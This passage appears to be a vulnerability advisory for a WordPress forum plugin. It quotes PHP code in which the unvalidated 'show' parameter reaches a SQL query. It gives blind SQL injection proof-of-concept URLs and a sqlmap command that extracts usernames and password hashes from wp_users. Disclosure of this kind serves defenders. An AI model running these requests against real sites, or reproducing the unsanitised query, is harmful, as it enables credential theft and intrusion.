Recommendation:
---------------
The author has provided a fixed plugin version which should be installed
immediately.
Vulnerability overview/description:
-----------------------------------
Because of insufficient input validation, a blind sql injection attack can be
performed within the forum feature to obtain sensitive information from the
database. The vulnerable code sections are described below.
forum.php lines 59-62:
===============================================================================
if ( ( $topic_id == '' && $cat_id == '') || ( !$cat_id != '' && get_option(WPS_OPTIONS_PREFIX.'_forum_ajax') && !get_option(WPS_OPTIONS_PREFIX.'_permalink_structure') ) ) {
$cat_id = isset($_GET['cid']) ? $_GET['cid'] : 0;
$topic_id = isset($_GET['show']) ? $_GET['show'] : 0;// GET PARAMETER IS ASSIGNED TO $topic_id VARIABLE
}
===============================================================================
forum.php lines 95-103:
===============================================================================
if ( get_option(WPS_OPTIONS_PREFIX.'_permalink_structure') || !get_option(WPS_OPTIONS_PREFIX.'_forum_ajax') ) {
if ($topic_id == 0) {
$forum = __wps__getForum($cat_id);
if (($x = strpos($forum, '[|]')) !== FALSE) $forum = substr($forum, $x+3);
$html .= $forum;
} else {
$html .= __wps__getTopic($topic_id); // __wps__getTopic IS CALLED WITH $topic_id AS PARAMETER
}
}
===============================================================================
functions.php lines 152-155:
===============================================================================
$post = $wpdb->get_row("
SELECT tid, topic_subject, topic_approved, topic_category, topic_post, topic_started, display_name, topic_sticky, topic_owner, for_info
FROM ".$wpdb->prefix."symposium_topics t INNER JOIN ".$wpdb->base_prefix."users u ON t.topic_owner = u.ID
WHERE (t.topic_approved = 'on' OR t.topic_owner = ".$current_user->ID.") AND tid = ".$topic_id); //UNVALIDATED $topic_id IS USED IN SQL QUERY
===============================================================================
Proof of concept:
-----------------
The following HTTP request to the forum page returns the topic with id 1:
===============================================================================
http://www.site.com/?page_id=4&cid=1&show=1 AND 1=1
===============================================================================
The following HTTP request to the forum page returns a blank page, thus
confirming the blind SQL injection vulnerability:
===============================================================================
http://www.site.com/?page_id=4&cid=1&show=1 AND 1=0
===============================================================================
Obtaining users and password hashes with sqlmap may look as follows:
================================================================================
sqlmap -u "http://www.site.com/?page_id=4&cid=1&show=1" -p "show" --technique=B --dbms=mysql --sql-query="select user_login,user_pass from wp_users"
